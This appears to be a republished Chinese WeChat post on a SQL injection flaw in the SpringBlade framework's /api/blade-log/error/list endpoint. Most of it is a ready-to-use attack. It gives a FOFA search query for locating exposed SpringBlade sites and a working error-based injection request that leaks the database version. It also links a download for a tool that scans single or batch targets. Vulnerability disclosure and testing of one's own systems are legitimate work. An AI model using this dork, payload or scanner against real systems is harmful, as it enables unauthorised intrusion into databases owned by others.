SpringBlade error/list SQL 注入漏洞(附工具)

01）漏洞名字

SpringBlade 框架后台 /api/blade-log/error/list路径存在SQL注入漏洞

02）漏洞fofa语法

body="https://bladex.vip"

03）漏洞复现

1、发送以下请求,相当于报错注入

GET /api/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1

3、查看请求返回内容，如存在version:8.*，则说明存在注入

04）工具展示和获取

1、为了工具合法使用，新开了一个湘安无事内部工具微信群，再群里面获取下载网盘，如果有工具的bug也可以直接艾特深情哥提出问题，本文工具感谢团队学员kkbo8005开发。支持单个和批量扫描。

下载 ：

链接: https://pan.baidu.com/s/118R9PMc7kauFJ4L6wTZAbQ?pwd=95p8 提取码: 95p8

原文始发于微信公众号（湘安无事）：SpringBlade error/list SQL 注入漏洞(附工具)